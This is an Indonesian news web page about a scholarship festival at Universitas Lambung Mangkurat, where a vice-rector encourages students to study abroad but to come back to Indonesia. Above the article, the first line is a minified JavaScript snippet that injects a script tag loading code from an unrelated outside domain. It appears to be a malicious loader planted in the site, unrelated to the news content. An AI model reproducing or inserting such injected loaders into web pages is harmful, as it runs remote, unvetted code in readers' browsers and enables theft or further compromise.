(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Kesempatan Ambil Beasiswa ke Luar Negeri, Warek IV ULM: Tapi Jangan Lupa Pulang


BANJARMASIN, Ratusan mahasiswa menghadiri pembukaan WISH (World Indonesia Scholarship) Festival di aula Rektorat Universitas Lambung Mangkurat (ULM), Sabtu (14/9). Wakil Rektor IV ULM, Prof Dr Ir H Yudi Firmanul Arifin MSc pun langsung merespon, sebab menurutnya hal ini dapat memotivasi anak muda bisa melanjutkan studi yang lebih tinggi.

Warek IV ULM mengatakan, biaya untuk melnajutkan studi tentu tidak murah. Selain uang untuk biaya perkuliahan, persiapan living cost, akomodasi, hingga biaya lain-lain tentu sangat diperlukan. Sehingga menurutnya beasiswa-beasiswa seperti inilah yang dapat memberi keringana.

Selain itu, adanya WISH Festival ini besar harapan Yudi banyak anak muda yang terjaring untuk melanjutkan studi. Sehingga kelak SDM di Kalsel dan secara umum di Indonesia, lebih meningkat. “Karena terus terang saja kita cukup tertinggal dalam hal anak-anak yang mau melanjutkan ke jenjang lebih tinggi,” ungkapnya.

Wakil Rektor IV ULM, Prof Dr Ir H Yudi Firmanul Arifin MSc Foto : Mario

Yudi secara terus terang agar para mahasiswa penerima beasiswa ini dapat mencapai hingga ke luar negeri. Sebab terangnya, para mahasiwa ini akan buka mendapat wawasan yang lebih luas. “Tidak seperti katak dalam tempurung, jago kandang. Namun bisa berkompetisi secara nasional dan internasional,” bebernya.

Namun di satu sisi, ia tidak ingin para mahasiswa yang telah menerima beasiswa ini kelak setelah lulus lebih memilih bekerja di tempat ia telah menimba ilmu. Hal ini masih menjadi masalah, ungkapnya. Sedangkan negara sendiri sangat membutuhkan SDM, alhasil negara mengalami kerugian SDM. Kurangnya SDM lebih berbahaya daripada kurangnya SDA, menurut Yudi.

Contoh nyata ini ia rasakan sendiri ketika ia tengah menjalankan studinya di Jerman. Banyak teman-temannya yang menolak untuk kembali pulang ke Indonesia dengan alasan negara tidak menyediakan tempat bagi mereka.

Padahal para pelajar yang baru saja lulus ini haruslah sangat diperhatikan baik dari lulusan mana dan bidang apa yang ia tekuni. Harus ada ‘mainan’ yang bisa dikembangkan oleh mereka saat kembali ke negara sendiri.

“Yang penting ada ‘mainan’, ilmu dan kreativitas tersalurkan. Banyak yang pulang ngeluh. Karena di sana lab dan ruang kerja bagus. Sedangkan di Indonesia kurang. Ini juga penting,” pungkasnya. (mario)

Reporter : Mario
Editor : Bie

 


Desy Arfianty

Recent Posts

Lomba Mancing Ikan di Sungai Kemuning Meriahkan HUT ke-17 Kecamatan Banjarbaru Selatan

KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More

3 jam ago

Peduli Korban Kebakaran di Cempaka, Srikandi PLN Salurkan Bantuan Perlengkapan Dapur

KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More

4 jam ago

Bupati dan Wabup Banjar Hadiri Haul Ke-86 Datu Kasyful Anwar

KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More

9 jam ago

Lelaki di Banjarmasin Habisi Kakak Ipar, Jasad Dibuang ke Wilayah Kintap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More

9 jam ago

Tingkatkan Capaian Akses Layanan Air Limbah dan Air Minum, Dinas PUPR Kalsel Gelar Workshop

KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More

1 hari ago

Ikuti Festival Tunas Bahasa Ibu Nasional di jakarta, Murid SDN Indrasari 2 Audiensi ke Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More

1 hari ago

This website uses cookies.